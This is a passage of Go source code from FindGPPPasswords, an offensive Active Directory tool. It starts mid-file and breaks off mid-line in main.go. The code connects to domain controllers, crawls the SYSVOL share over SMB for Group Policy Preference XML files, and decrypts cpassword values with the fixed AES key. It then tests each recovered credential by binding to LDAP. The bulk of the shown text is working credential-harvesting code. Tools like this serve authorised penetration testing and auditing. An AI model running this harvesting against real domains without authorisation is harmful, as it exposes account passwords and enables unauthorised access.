fmt.Printf("[SMBListFilesRecursivelyAndCallback] Share %s can not be found!\n", share) 43 | } 44 | return 45 | } 46 | if DEBUG { 47 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Error: %s\n", err) 48 | } 49 | return 50 | } 51 | defer session.TreeDisconnect(share) 52 | 53 | // List files 54 | if DEBUG { 55 | logger.Debug(fmt.Sprintf("Listing files of '%s'", dir)) 56 | } 57 | entries, err := session.ListDirectory(share, dir, "*") 58 | if err != nil { 59 | if err == smb.StatusMap[smb.StatusAccessDenied] { 60 | if DEBUG { 61 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Could connect to [%s] but listing files in directory (%s) was prohibited\n", share, dir) 62 | } 63 | return nil 64 | } 65 | if DEBUG { 66 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Error: %s\n", err) 67 | } 68 | return nil 69 | } 70 | 71 | // Explore further and callback 72 | for _, entry := range entries { 73 | if entry.IsDir { 74 | if DEBUG { 75 | logger.Debug(fmt.Sprintf("Found Directory '%s'", entry.FullPath)) 76 | } 77 | err = SMBListFilesRecursivelyAndCallback(session, share, entry.FullPath, callback) 78 | if err != nil { 79 | if DEBUG { 80 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Failed to list files in directory %s with error: %s\n", entry.FullPath, err) 81 | } 82 | continue 83 | } 84 | } else { 85 | if DEBUG { 86 | logger.Debug(fmt.Sprintf("Found file '%s'", entry.FullPath)) 87 | } 88 | callback(session, share, entry.FullPath) 89 | } 90 | } 91 | 92 | return nil 93 | } 94 | 95 | // FindCPasswords searches for Group Policy Preference Passwords (GPP Passwords) in the SYSVOL share of a given domain controller. 96 | // It performs the following steps: 97 | // 1. Resolves the DNS hostname to an IP address. 98 | // 2. Establishes an SMB connection to the target IP address. 99 | // 3. Recursively searches for XML files in the SYSVOL share. 100 | // 4. Processes the found XML files to extract GPP Passwords. 101 | // 102 | // Parameters: 103 | // - dnsHostname: A slice of strings containing the DNS hostnames of the domain controller. 104 | // - config: The configuration settings for the connection and search. 105 | // - testResults: A pointer to the structure that holds the found Group Policy Preference Passwords. 106 | // 107 | // Returns: 108 | // - An error if any step of the process fails, otherwise nil. 109 | func FindCPasswords(dnsHostname []string, config config.Config, testResults *crypto.GroupPolicyPreferencePasswordsFound) error { 110 | targetIp := dns.DNSLookup(dnsHostname[0], config.DnsNameServer) 111 | 112 | if len(targetIp) > 0 { 113 | // Define the SMB connection options 114 | options := smb.Options{ 115 | Host: targetIp[0], 116 | Port: 445, 117 | Initiator: &spnego.NTLMInitiator{ 118 | User: config.Credentials.Username, 119 | Password: config.Credentials.Password, 120 | Domain: config.Credentials.Domain, 121 | }, 122 | DialTimeout: time.Millisecond * time.Duration(5000), 123 | } 124 | 125 | // Create a new SMB connection 126 | session, err := smb.NewConnection(options) 127 | if err != nil { 128 | return err 129 | } 130 | defer session.Close() 131 | 132 | // Find all XML files in the root directory 133 | err = SMBListFilesRecursivelyAndCallback(session, "SYSVOL", "", testResults.CallbackFunctionCPassword) 134 | if err != nil { 135 | return err 136 | } 137 | } else { 138 | return fmt.Errorf("could not resolve host %s", dnsHostname[0]) 139 | } 140 | 141 | return nil 142 | } 143 | 144 | // RunWorkers starts a specified number of worker goroutines to process tasks from the channel. 145 | // It takes a slice of LDAP entries, a configuration, and a pointer to the found Group Policy Preference Passwords. 146 | func RunWorkers(maxThreads int, domainControllersResults []*ldapv3.Entry, config config.Config, gpppfound *crypto.GroupPolicyPreferencePasswordsFound) { 147 | sem := make(chan struct{}, config.Threads) 148 | 149 | maxLenOfAdvancementString := len(fmt.Sprintf("%d", len(domainControllersResults))) 150 | advancementFormatString := fmt.Sprintf("(%%0%dd/%%0%dd)", maxLenOfAdvancementString, maxLenOfAdvancementString) 151 | 152 | var wg sync.WaitGroup 153 | 154 | for k, entry := range domainControllersResults { 155 | wg.Add(1) 156 | 157 | // acquire semaphore 158 | sem <- struct{}{} 159 | 160 | // start long running go routine 161 | go func(id int, entry *ldapv3.Entry) { 162 | defer wg.Done() 163 | 164 | advancementString := fmt.Sprintf(advancementFormatString, k+1, len(domainControllersResults)) 165 | 166 | logger.Info(fmt.Sprintf("%s Searching for GPPPasswords in '\\\\%s\\SYSVOL\\' ... ", advancementString, entry.GetEqualFoldAttributeValues("dnsHostname")[0])) 167 | 168 | err := FindCPasswords( 169 | entry.GetEqualFoldAttributeValues("dnsHostname"), 170 | config, 171 | gpppfound, 172 | ) 173 | 174 | if err != nil { 175 | logger.Warn(fmt.Sprintf("%s Error: %s", advancementString, err)) 176 | } else { 177 | if config.Debug { 178 | logger.Info(fmt.Sprintf("%s Search in '\\\\%s\\SYSVOL\\' has finished successfully. ", advancementString, entry.GetEqualFoldAttributeValues("dnsHostname")[0])) 179 | } 180 | } 181 | 182 | // release semaphore 183 | <-sem 184 | }(k, entry) 185 | } 186 | 187 | wg.Wait() 188 | } 189 | -------------------------------------------------------------------------------- /network/ldap/ldap.go: -------------------------------------------------------------------------------- 1 | package ldap 2 | 3 | import ( 4 | "FindGPPPasswords/core/logger" 5 | 6 | "crypto/tls" 7 | "fmt" 8 | "strings" 9 | 10 | "github.com/go-ldap/ldap/v3" 11 | ) 12 | 13 | type Entry ldap.Entry 14 | 15 | const ( 16 | ScopeBaseObject = ldap.ScopeBaseObject 17 | ScopeSingleLevel = ldap.ScopeSingleLevel 18 | ScopeChildren = ldap.ScopeChildren 19 | ScopeWholeSubtree = ldap.ScopeWholeSubtree 20 | ) 21 | 22 | type Session struct { 23 | // Network 24 | host string 25 | port int 26 | connection *ldap.Conn 27 | // Credentials 28 | domain string 29 | username string 30 | password string 31 | // Config 32 | debug bool 33 | useldaps bool 34 | } 35 | 36 | type Domain struct { 37 | NetBIOSName string `json:"netbiosName"` 38 | DNSName string `json:"dnsName"` 39 | DistinguishedName string `json:"distinguishedName"` 40 | SID string `json:"sid"` 41 | } 42 | 43 | func (s *Session) InitSession(host string, port int, useldaps bool, domain string, username string, password string, debug bool) error { 44 | // Check if TCP port is valid 45 | if port < 1 || port > 65535 { 46 | return fmt.Errorf("invalid port number. Port must be in the range 1-65535") 47 | } 48 | 49 | // Network 50 | s.host = host 51 | s.port = port 52 | // Credentials 53 | s.domain = domain 54 | s.username = username 55 | s.password = password 56 | // Config 57 | s.useldaps = useldaps 58 | s.debug = debug 59 | 60 | return nil 61 | } 62 | 63 | func (s *Session) Connect() error { 64 | // Set up LDAP connection 65 | var ldapConnection *ldap.Conn 66 | var err error 67 | 68 | // Check if LDAPS is available 69 | if s.useldaps { 70 | // LDAPS connection 71 | ldapConnection, err = ldap.DialURL( 72 | fmt.Sprintf("ldaps://%s:%d", s.host, s.port), 73 | ldap.DialWithTLSConfig( 74 | &tls.Config{ 75 | InsecureSkipVerify: true, 76 | }, 77 | ), 78 | ) 79 | if err != nil { 80 | return fmt.Errorf("error connecting to LDAPS server: %w", err) 81 | } 82 | } else { 83 | // Regular LDAP connection 84 | ldapConnection, err = ldap.DialURL(fmt.Sprintf("ldap://%s:%d", s.host, s.port)) 85 | if err != nil { 86 | return fmt.Errorf("error connecting to LDAP server: %w", err) 87 | } 88 | } 89 | 90 | // Bind with credentials if provided 91 | if len(s.password) > 0 { 92 | // Binding with credentials 93 | err = ldapConnection.Bind(fmt.Sprintf("%s@%s", s.username, s.domain), s.password) 94 | if err != nil { 95 | return fmt.Errorf("error binding with credentials: %w", err) 96 | } 97 | } else { 98 | // Unauthenticated Bind 99 | bindDN := "" 100 | if s.username != "" { 101 | bindDN = fmt.Sprintf("%s@%s", s.username, s.domain) 102 | } 103 | 104 | err = ldapConnection.UnauthenticatedBind(bindDN) 105 | if err != nil { 106 | return fmt.Errorf("error performing unauthenticated bind: %w", err) 107 | } 108 | } 109 | 110 | s.connection = ldapConnection 111 | 112 | return nil 113 | } 114 | 115 | func (s *Session) ReConnect() error { 116 | s.connection.Close() 117 | return s.Connect() 118 | } 119 | 120 | func GetRootDSE(ldapSession *Session) *ldap.Entry { 121 | // Specify LDAP search parameters 122 | // https://pkg.go.dev/gopkg.in/ldap.v3#NewSearchRequest 123 | searchRequest := ldap.NewSearchRequest( 124 | // Base DN blank 125 | "", 126 | // Scope Base 127 | ldap.ScopeBaseObject, 128 | // DerefAliases 129 | ldap.NeverDerefAliases, 130 | // SizeLimit 131 | 1, 132 | // TimeLimit 133 | 0, 134 | // TypesOnly 135 | false, 136 | // Search filter 137 | "(objectClass=*)", 138 | // Attributes to retrieve 139 | []string{"*"}, 140 | // Controls 141 | nil, 142 | ) 143 | 144 | // Perform LDAP search 145 | searchResult, err := ldapSession.connection.Search(searchRequest) 146 | if err != nil { 147 | logger.Warn(fmt.Sprintf("Error searching LDAP: %s", err)) 148 | return nil 149 | } 150 | 151 | return searchResult.Entries[0] 152 | } 153 | 154 | func RawQuery(ldapSession *Session, baseDN string, query string, attributes []string, scope int) []*ldap.Entry { 155 | debug := false 156 | 157 | // Parsing parameters 158 | if len(baseDN) == 0 { 159 | baseDN = "defaultNamingContext" 160 | } 161 | if strings.ToLower(baseDN) == "defaultnamingcontext" { 162 | rootDSE := GetRootDSE(ldapSession) 163 | if debug { 164 | logger.Debug(fmt.Sprintf("Using defaultNamingContext %s ...\n", rootDSE.GetAttributeValue("defaultNamingContext"))) 165 | } 166 | baseDN = rootDSE.GetAttributeValue("defaultNamingContext") 167 | } else if strings.ToLower(baseDN) == "configurationnamingcontext" { 168 | rootDSE := GetRootDSE(ldapSession) 169 | if debug { 170 | logger.Debug(fmt.Sprintf("Using configurationNamingContext %s ...\n", rootDSE.GetAttributeValue("configurationNamingContext"))) 171 | } 172 | baseDN = rootDSE.GetAttributeValue("configurationNamingContext") 173 | } else if strings.ToLower(baseDN) == "schemanamingcontext" { 174 | rootDSE := GetRootDSE(ldapSession) 175 | if debug { 176 | logger.Debug(fmt.Sprintf("Using schemaNamingContext CN=Schema,%s ...\n", rootDSE.GetAttributeValue("configurationNamingContext"))) 177 | } 178 | baseDN = fmt.Sprintf("CN=Schema,%s", rootDSE.GetAttributeValue("configurationNamingContext")) 179 | 180 | } 181 | 182 | if (scope != ldap.ScopeBaseObject) && (scope != ldap.ScopeSingleLevel) && (scope != ldap.ScopeWholeSubtree) { 183 | scope = ldap.ScopeWholeSubtree 184 | } 185 | 186 | // Specify LDAP search parameters 187 | // https://pkg.go.dev/gopkg.in/ldap.v3#NewSearchRequest 188 | searchRequest := ldap.NewSearchRequest( 189 | // Base DN 190 | baseDN, 191 | // Scope 192 | scope, 193 | // DerefAliases 194 | ldap.NeverDerefAliases, 195 | // SizeLimit 196 | 0, 197 | // TimeLimit 198 | 0, 199 | // TypesOnly 200 | false, 201 | // Search filter 202 | query, 203 | // Attributes to retrieve 204 | attributes, 205 | // Controls 206 | nil, 207 | ) 208 | 209 | // Perform LDAP search 210 | searchResult, err := ldapSession.connection.SearchWithPaging(searchRequest, 1000) 211 | if err != nil { 212 | logger.Warn(fmt.Sprintf("Error searching LDAP: %s", err)) 213 | return nil 214 | } 215 | 216 | return searchResult.Entries 217 | } 218 | 219 | func QueryBaseObject(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry { 220 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeBaseObject) 221 | return entries 222 | } 223 | 224 | func QuerySingleLevel(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry { 225 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeSingleLevel) 226 | return entries 227 | } 228 | 229 | func QueryWholeSubtree(ldapSession *Session, baseDN string, query string, attributes []string) []*ldap.Entry { 230 | entries := RawQuery(ldapSession, baseDN, query, attributes, ldap.ScopeWholeSubtree) 231 | return entries 232 | } 233 | 234 | func QueryAllNamingContexts(ldapSession *Session, query string, attributes []string, scope int) []*ldap.Entry { 235 | // Fetch the RootDSE entry to get the naming contexts 236 | rootDSE := GetRootDSE(ldapSession) 237 | if rootDSE == nil { 238 | // logger.Warn("Could not retrieve RootDSE.") 239 | return nil 240 | } 241 | 242 | // Retrieve the namingContexts attribute 243 | namingContexts := rootDSE.GetAttributeValues("namingContexts") 244 | if len(namingContexts) == 0 { 245 | //logger.Warn("No naming contexts found.") 246 | return nil 247 | } 248 | 249 | // Store all entries from all naming contexts 250 | var allEntries []*ldap.Entry 251 | 252 | // Iterate over each naming context and perform the query 253 | for _, context := range namingContexts { 254 | entries := RawQuery(ldapSession, context, query, attributes, scope) 255 | if entries != nil { 256 | allEntries = append(allEntries, entries...) 257 | } 258 | } 259 | 260 | return allEntries 261 | } 262 | 263 | func CanLogin(ldapSession *Session) (bool, error) { 264 | // Set up LDAP connection 265 | var ldapConnection *ldap.Conn 266 | var err error 267 | 268 | if ldapSession.useldaps { 269 | ldapConnection, err = ldap.DialURL( 270 | fmt.Sprintf("ldaps://%s:%d", ldapSession.host, ldapSession.port), 271 | ldap.DialWithTLSConfig( 272 | &tls.Config{ 273 | InsecureSkipVerify: true, 274 | }, 275 | ), 276 | ) 277 | } else { 278 | ldapConnection, err = ldap.DialURL(fmt.Sprintf("ldap://%s:%d", ldapSession.host, ldapSession.port)) 279 | } 280 | 281 | if err != nil { 282 | return false, err 283 | } 284 | defer ldapConnection.Close() 285 | 286 | // Bind with provided credentials 287 | err = ldapConnection.Bind(fmt.Sprintf("%s\\%s", ldapSession.domain, ldapSession.username), ldapSession.password) 288 | if err != nil { 289 | return false, err 290 | } 291 | 292 | return true, nil 293 | } 294 | -------------------------------------------------------------------------------- /core/crypto/grouppolicypreferencepasswords.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "encoding/base64" 8 | "encoding/binary" 9 | "encoding/xml" 10 | "fmt" 11 | "log" 12 | "strings" 13 | "unicode/utf16" 14 | 15 | "github.com/jfjallid/go-smb/smb" 16 | "github.com/zenazn/pkcs7pad" 17 | ) 18 | 19 | // XML structure for Properties 20 | type User_Properties struct { 21 | Action string `xml:"action,attr"` 22 | NewName string `xml:"newName,attr"` 23 | UserName string `xml:"userName,attr"` 24 | CPassword string `xml:"cpassword,attr"` 25 | } 26 | 27 | // XML structure for User 28 | type User struct { 29 | Properties User_Properties `xml:"Properties"` 30 | } 31 | 32 | // XML structure for Groups 33 | type Groups struct { 34 | Users []User `xml:"User"` 35 | } 36 | 37 | // XML structure for Trigger 38 | type Trigger struct { 39 | Interval string `xml:"interval,attr"` 40 | Type string `xml:"type,attr"` 41 | StartHour string `xml:"startHour,attr"` 42 | StartMinutes string `xml:"startMinutes,attr"` 43 | BeginYear string `xml:"beginYear,attr"` 44 | BeginMonth string `xml:"beginMonth,attr"` 45 | BeginDay string `xml:"beginDay,attr"` 46 | HasEndDate string `xml:"hasEndDate,attr"` 47 | RepeatTask string `xml:"repeatTask,attr"` 48 | Week string `xml:"week,attr"` 49 | Days string `xml:"days,attr"` 50 | Months string `xml:"months,attr"` 51 | } 52 | 53 | // XML structure for Triggers 54 | type Triggers struct { 55 | Trigger []Trigger `xml:"Trigger"` 56 | } 57 | 58 | // XML structure for Task Properties 59 | type TaskProperties struct { 60 | DeleteWhenDone string `xml:"deleteWhenDone,attr"` 61 | StartOnlyIfIdle string `xml:"startOnlyIfIdle,attr"` 62 | StopOnIdleEnd string `xml:"stopOnIdleEnd,attr"` 63 | NoStartIfOnBatteries string `xml:"noStartIfOnBatteries,attr"` 64 | StopIfGoingOnBatteries string `xml:"stopIfGoingOnBatteries,attr"` 65 | SystemRequired string `xml:"systemRequired,attr"` 66 | Action string `xml:"action,attr"` 67 | Name string `xml:"name,attr"` 68 | AppName string `xml:"appName,attr"` 69 | Args string `xml:"args,attr"` 70 | StartIn string `xml:"startIn,attr"` 71 | Comment string `xml:"comment,attr"` 72 | RunAs string `xml:"runAs,attr"` 73 | CPassword string `xml:"cpassword,attr"` 74 | Enabled string `xml:"enabled,attr"` 75 | Triggers Triggers `xml:"Triggers"` 76 | } 77 | 78 | // XML structure for Task 79 | type Task struct { 80 | Clsid string `xml:"clsid,attr"` 81 | Name string `xml:"name,attr"` 82 | Image string `xml:"image,attr"` 83 | Changed string `xml:"changed,attr"` 84 | UID string `xml:"uid,attr"` 85 | Properties TaskProperties `xml:"Properties"` 86 | } 87 | 88 | // XML structure for ScheduledTasks 89 | type ScheduledTasks struct { 90 | Clsid string `xml:"clsid,attr"` 91 | Tasks []Task `xml:"Task"` 92 | } 93 | 94 | type CPasswordEntry struct { 95 | RunAs string 96 | UserName string 97 | NewName string 98 | CPassword string 99 | Password string 100 | } 101 | 102 | type GroupPolicyPreferencePasswordsFound struct { 103 | Entries map[string][]*CPasswordEntry 104 | } 105 | 106 | func (r *GroupPolicyPreferencePasswordsFound) CallbackFunctionCPassword(session *smb.Connection, share string, pathToFile string) error { 107 | elements := strings.Split(pathToFile, ".") 108 | extension := strings.ToLower(elements[len(elements)-1]) 109 | 110 | if strings.EqualFold(extension, "xml") { 111 | uncPathToFile := fmt.Sprintf("\\\\%s\\%s\\%s", session.GetTargetInfo().DnsComputerName, share, pathToFile) 112 | 113 | buffer := bytes.NewBuffer([]byte{}) 114 | 115 | err := session.RetrieveFile(share, pathToFile, 0, buffer.Write) 116 | if err != nil { 117 | return err 118 | } 119 | 120 | cpasswords := ExtractCPasswordsFromRawXML(buffer) 121 | 122 | if len(cpasswords) != 0 { 123 | if _, ok := r.Entries[uncPathToFile]; !ok { 124 | r.Entries[uncPathToFile] = make([]*CPasswordEntry, 0) 125 | } 126 | r.Entries[uncPathToFile] = append(r.Entries[uncPathToFile], cpasswords...) 127 | } 128 | } 129 | 130 | return nil 131 | } 132 | 133 | // DecryptCPassword decrypts a base64 encoded string using the fixed AES key and IV 134 | func DecryptCPassword(encStr string) string { 135 | // AES Key as per the Microsoft documentation 136 | key := []byte{ 137 | 0x4e, 0x99, 0x06, 0xe8, 0xfc, 0xb6, 0x6c, 0xc9, 0xfa, 0xf4, 0x93, 0x10, 0x62, 0x0f, 0xfe, 0xe8, 138 | 0xf4, 0x96, 0xe8, 0x06, 0xcc, 0x05, 0x79, 0x90, 0x20, 0x9b, 0x09, 0xa4, 0x33, 0xb6, 0x6c, 0x1b, 139 | } 140 | 141 | // Fixed null IV (Initialization Vector) 142 | iv := make([]byte, aes.BlockSize) 143 | 144 | // Padding base64 encoded string to ensure it's properly padded 145 | pad := len(encStr) % 4 146 | if pad == 1 { 147 | encStr = encStr[:len(encStr)-1] 148 | } else if pad == 2 || pad == 3 { 149 | encStr += strings.Repeat("=", 4-pad) 150 | } 151 | 152 | // Decode base64 string 153 | ciphertext, err := base64.StdEncoding.DecodeString(encStr) 154 | if err != nil { 155 | return "" //, fmt.Errorf("base64 decoding failed: %v", err) 156 | } 157 | 158 | // Create AES cipher block 159 | block, err := aes.NewCipher(key) 160 | if err != nil { 161 | return "" //, fmt.Errorf("failed to create AES cipher: %v", err) 162 | } 163 | 164 | // Ensure ciphertext length is a multiple of AES block size 165 | if len(ciphertext)%aes.BlockSize != 0 { 166 | return "" //, fmt.Errorf("ciphertext is not a multiple of the block size") 167 | } 168 | 169 | // Create CBC decrypter 170 | mode := cipher.NewCBCDecrypter(block, iv) 171 | 172 | // Decrypt the ciphertext 173 | plaintext := make([]byte, len(ciphertext)) 174 | mode.CryptBlocks(plaintext, ciphertext) 175 | 176 | // Remove PKCS#7 padding 177 | plaintext, err = pkcs7pad.Unpad(plaintext) 178 | if err != nil { 179 | return "" //, fmt.Errorf("unpadding failed: %v", err) 180 | } 181 | 182 | // Convert from UTF-16LE to string 183 | password, err := decodeUTF16LE(plaintext) 184 | if err != nil { 185 | return "" //, fmt.Errorf("UTF-16-LE decoding failed: %v", err) 186 | } 187 | 188 | return password //, nil 189 | } 190 | 191 | func ExtractCPasswordsFromRawXML(buffer *bytes.Buffer) []*CPasswordEntry { 192 | // Create an instance of Groups to hold the parsed data 193 | foundCpasswords := make([]*CPasswordEntry, 0) 194 | 195 | if strings.Contains(buffer.String(), "") { 196 | // Parse the XML data to search for ScheduledTasks 197 | scheduledtasks := ScheduledTasks{} 198 | 199 | err := xml.NewDecoder(buffer).Decode(&scheduledtasks) 200 | if err != nil { 201 | log.Fatalf("Error parsing XML: %v", err) 202 | } 203 | 204 | // Extract and print the desired properties 205 | for _, task := range scheduledtasks.Tasks { 206 | if len(task.Properties.CPassword) != 0 { 207 | entry := CPasswordEntry{ 208 | RunAs: task.Properties.RunAs, 209 | CPassword: task.Properties.CPassword, 210 | Password: DecryptCPassword(task.Properties.CPassword), 211 | } 212 | foundCpasswords = append(foundCpasswords, &entry) 213 | } 214 | } 215 | 216 | } else if strings.Contains(buffer.String(), "") { 217 | // Parse the XML data to search for Users 218 | groups := Groups{} 219 | 220 | err := xml.NewDecoder(buffer).Decode(&groups) 221 | if err != nil { 222 | log.Fatalf("Error parsing XML: %v", err) 223 | } 224 | 225 | // Extract and print the desired properties 226 | for _, user := range groups.Users { 227 | if len(user.Properties.CPassword) != 0 { 228 | entry := CPasswordEntry{ 229 | UserName: user.Properties.UserName, 230 | NewName: user.Properties.NewName, 231 | CPassword: user.Properties.CPassword, 232 | Password: DecryptCPassword(user.Properties.CPassword), 233 | } 234 | foundCpasswords = append(foundCpasswords, &entry) 235 | } 236 | } 237 | } 238 | 239 | return foundCpasswords 240 | } 241 | 242 | // decodeUTF16LE decodes a UTF-16LE byte slice into a string 243 | func decodeUTF16LE(b []byte) (string, error) { 244 | // Ensure the byte slice has an even length since UTF-16 is 2 bytes per character 245 | if len(b)%2 != 0 { 246 | return "", fmt.Errorf("invalid UTF-16LE byte slice length") 247 | } 248 | 249 | // Create a slice to hold the 16-bit runes 250 | u16 := make([]uint16, len(b)/2) 251 | 252 | // Use binary.Read to convert the byte slice into uint16 values in Little Endian order 253 | err := binary.Read(bytes.NewReader(b), binary.LittleEndian, &u16) 254 | if err != nil { 255 | return "", fmt.Errorf("failed to convert bytes to UTF-16LE: %v", err) 256 | } 257 | 258 | // Decode the UTF-16 sequence, assuming no surrogate pairs are present 259 | runes := utf16.Decode(u16) 260 | 261 | return string(runes), nil 262 | } 263 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "FindGPPPasswords/core" 5 | "FindGPPPasswords/core/config" 6 | "FindGPPPasswords/core/crypto" 7 | "FindGPPPasswords/core/exporter" 8 | "FindGPPPasswords/core/logger" 9 | "FindGPPPasswords/network/ldap" 10 | "slices" 11 | 12 | "fmt" 13 | "os" 14 | "runtime" 15 | "strings" 16 | "time" 17 | 18 | "github.com/p0dalirius/goopts/parser" 19 | ) 20 | 21 | var ( 22 | // Configuration 23 | useLdaps bool 24 | quiet bool 25 | debug bool 26 | nocolors bool 27 | numberOfThreads int 28 | 29 | // Network 30 | dnsNameServer string 31 | domainController string 32 | ldapPort int 33 | 34 | // Authentication 35 | authDomain string 36 | authUsername string 37 | authPassword string 38 | authHashes string 39 | 40 | // Additional Options 41 | outputExcel string 42 | testCredentials bool 43 | ) 44 | 45 | func parseArgs() { 46 | ap := parser.ArgumentsParser{Banner: "FindGPPPasswords - by Remi GASCOU (Podalirius) @ TheManticoreProject - v1.2"} 47 | 48 | ap.NewBoolArgument(&quiet, "-q", "--quiet", false, "Show no information at all.") 49 | ap.NewBoolArgument(&debug, "-d", "--debug", false, "Debug mode.") 50 | ap.NewBoolArgument(&nocolors, "-nc", "--no-colors", false, "No colors mode.") 51 | 52 | group_ldapSettings, err := ap.NewArgumentGroup("LDAP Connection Settings") 53 | if err != nil { 54 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err) 55 | } else { 56 | group_ldapSettings.NewStringArgument(&domainController, "-dc", "--dc-ip", "", true, "IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, it will use the domain part (FQDN) specified in the identity parameter.") 57 | group_ldapSettings.NewTcpPortArgument(&ldapPort, "-lp", "--ldap-port", 389, false, "Port number to connect to LDAP server.") 58 | group_ldapSettings.NewBoolArgument(&useLdaps, "-L", "--use-ldaps", false, "Use LDAPS instead of LDAP.") 59 | } 60 | 61 | group_dnsSettings, err := ap.NewArgumentGroup("DNS Settings") 62 | if err != nil { 63 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err) 64 | } else { 65 | group_dnsSettings.NewStringArgument(&dnsNameServer, "-ns", "--nameserver", "", false, "IP Address of the DNS server to use in the queries. If omitted, it will use the IP of the domain controller specified in the -dc parameter.") 66 | } 67 | 68 | group_auth, err := ap.NewArgumentGroup("Authentication") 69 | if err != nil { 70 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err) 71 | } else { 72 | group_auth.NewStringArgument(&authDomain, "-d", "--domain", "", true, "Active Directory domain to authenticate to.") 73 | group_auth.NewStringArgument(&authUsername, "-u", "--username", "", true, "User to authenticate as.") 74 | group_auth.NewStringArgument(&authPassword, "-p", "--password", "", false, "Password to authenticate with.") 75 | group_auth.NewStringArgument(&authHashes, "-H", "--hashes", "", false, "NT/LM hashes, format is LMhash:NThash.") 76 | group_auth.NewIntArgument(&numberOfThreads, "-T", "--threads", 0, false, "Number of threads to use.") 77 | } 78 | 79 | group_extraOptions, err := ap.NewArgumentGroup("Additional Options") 80 | if err != nil { 81 | fmt.Printf("[error] Error creating ArgumentGroup: %s\n", err) 82 | } else { 83 | group_extraOptions.NewStringArgument(&outputExcel, "-x", "--export-xlsx", "", false, "Path to output Excel file.") 84 | group_extraOptions.NewBoolArgument(&testCredentials, "-tc", "--test-credentials", false, "Test credentials.") 85 | } 86 | 87 | ap.Parse() 88 | 89 | // Set default port if not specified 90 | if ldapPort == 0 { 91 | if useLdaps { 92 | ldapPort = 636 93 | } else { 94 | ldapPort = 389 95 | } 96 | } 97 | 98 | // Validate required arguments 99 | if domainController == "" { 100 | fmt.Println("[!] Option -dc is required.") 101 | ap.Usage() 102 | os.Exit(1) 103 | } 104 | } 105 | 106 | func TestCredentials(gpppfound crypto.GroupPolicyPreferencePasswordsFound, config config.Config) { 107 | testedUsernames := []string{} 108 | 109 | logger.Info("") 110 | logger.Info("Testing credentials:") 111 | 112 | for pathToFile := range gpppfound.Entries { 113 | for _, entry := range gpppfound.Entries[pathToFile] { 114 | username := "" 115 | domain := "" 116 | 117 | // Case of scheduled task 118 | if len(username) == 0 && len(entry.RunAs) != 0 && len(entry.UserName) == 0 { 119 | if strings.Contains(entry.RunAs, "\\") { 120 | parts := strings.SplitN(entry.RunAs, "\\", 2) 121 | domain = parts[0] 122 | username = parts[1] 123 | } else { 124 | username = entry.RunAs 125 | } 126 | } 127 | 128 | // Case of local account 129 | if len(username) == 0 && (len(entry.UserName) != 0 || len(entry.NewName) != 0) { 130 | if len(entry.NewName) != 0 { 131 | username = entry.NewName 132 | } else { 133 | username = entry.UserName 134 | } 135 | } 136 | 137 | if len(username) != 0 { 138 | if !slices.Contains(testedUsernames, username) { 139 | ldapSession := ldap.Session{} 140 | ldapSession.InitSession( 141 | domainController, 142 | ldapPort, 143 | config.UseLdaps, 144 | domain, 145 | username, 146 | entry.Password, 147 | config.Debug, 148 | ) 149 | 150 | err := ldapSession.Connect() 151 | if err == nil { 152 | if len(domain) == 0 { 153 | logger.Info(fmt.Sprintf("\x1b[1;92m [+] %s : %s\x1b[0m", username, entry.Password)) 154 | } else { 155 | logger.Info(fmt.Sprintf("\x1b[1;92m [+] %s\\%s : %s\x1b[0m", domain, username, entry.Password)) 156 | } 157 | } else { 158 | if len(domain) == 0 { 159 | logger.Info(fmt.Sprintf("\x1b[91m [!] %s : %s\x1b[0m", username, entry.Password)) 160 | } else { 161 | logger.Info(fmt.Sprintf("\x1b[91m [!] %s\\%s : %s\x1b[0m", domain, username, entry.Password)) 162 | } 163 | } 164 | testedUsernames = append(testedUsernames, username) 165 | } else { 166 | logger.Info(fmt.Sprintf("\x1b[93m [*] Skipping test of %s : %s to avoid potentiallockout.\x1b[0m", username, entry.Password)) 167 | } 168 | } 169 | } 170 | } 171 | 172 | logger.Info("Finished testing credentials.") 173 | logger.Info("") 174 | } 175 | 176 | func main() { 177 | parseArgs() 178 | 179 | startTime := time.Now() 180 | 181 | authDomain = strings.ToUpper(authDomain) 182 | 183 | config := config.Config{} 184 | config.Credentials.Username = authUsername 185 | config.Credentials.Domain = authDomain 186 | config.Credentials.Password = authPassword 187 | config.Credentials.DCIP = domainController 188 | if len(dnsNameServer) == 0 { 189 | config.DnsNameServer = domainController 190 | } else { 191 | config.DnsNameServer = dnsNameServer 192 | } 193 | if numberOfThreads != 0 { 194 | config.Threads = numberOfThreads 195 | } else { 196 | config.Threads = runtime.NumCPU() 197 | } 198 | config.UseLdaps = useLdaps 199 | config.Debug = debug 200 | 201 | outputDir, err := os.Getwd() 202 | if err != nil { 203 | logger.Warn(fmt.Sprintf("Error getting current working directory: %s", err)) 204 | config.OutputDir = "./" 205 | } else { 206 | config.OutputDir = outputDir 207 | } 208 | 209 | if debug { 210 | if !useLdaps { 211 | logger.Debug(fmt.Sprintf("Connecting to remote ldap://%s:%d ...", domainController, ldapPort)) 212 | } else { 213 | logger.Debug(fmt.Sprintf("Connecting to remote ldaps://%s:%d ...", domainController, ldapPort)) 214 | } 215 | } 216 | ldapSession := ldap.Session{} 217 | ldapSession.InitSession( 218 | domainController, 219 | ldapPort, 220 | config.UseLdaps, 221 | config.Credentials.Domain, 222 | config.Credentials.Username, 223 | config.Credentials.Password, 224 | config.Debug, 225 | ) 226 | err = ldapSession.Connect() 227 | 228 | if err == nil { 229 | logger.Info(fmt.Sprintf("Connected as '%s\\%s'", authDomain, authUsername)) 230 | 231 | domainControllersQuery := "(&" 232 | // We look for computer accounts 233 | domainControllersQuery += "(objectClass=computer)" 234 | // That are domain controllers 235 | UAF_SERVER_TRUST_ACCOUNT := 